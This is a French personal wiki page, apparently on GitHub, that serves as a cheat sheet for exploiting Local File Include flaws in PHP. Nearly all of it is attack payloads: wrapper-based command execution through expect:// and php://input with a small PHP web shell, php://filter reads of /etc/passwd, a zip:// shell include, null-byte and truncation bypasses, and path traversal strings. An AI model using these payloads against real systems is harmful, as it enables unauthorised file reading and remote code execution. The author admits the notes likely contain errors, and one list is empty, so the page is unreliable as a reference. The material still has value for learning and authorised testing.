Hacking Wiki

Notes persos. Il y a probablement beaucoup d'erreurs donc privilégiez des sources plus fiables.

View on GitHub

Local File Include

Une faille de type Local File Include (LFI) consiste à inclure un fichier local à partir d’une entrée utilisateur. Dans certains cas ceci permet d’accéder à des fichiers non situés dans le webroot voire d’executer du code.

PHP

PHP Wrappers

Il y a plusieurs “Wrappers” en PHP qui peuvent être utilisés pour exploiter des LFI.

target.php?page=expect://ls
POST /target.php?page=php:/input&cmd=ls
[..]
Content-Length: 44

<?php echo shell_exec($_GET['cmd']);?>
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
vuln.php?page=php://filter/resource=/etc/passwd
vuln.php?page=zip://path/to/file.zip%23shell.php

Linux

Quelques fichiers utiles à inclure:

Divers

Il est possible d’inclure certains fichiers qui peuvent contenir des entrées utilisateurs si on veut executer du code (ex: User-Agent, etc.):

Technique du Null byte (ne fonctionne pas sur les versions récentes de PHP:

vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd%2500

L’injection de loooongues valeurs peut permettre de bypasser certains filtres si on a des truncate:

vuln.php?page=/etc/passwd.................................................................................
vuln.php?page=../../../../../../../../../../../../../../../../../../../../etc/passwd
vuln.php?page=/etc/passwd/../../../../../../../../../../../../../../../../../../../..

Références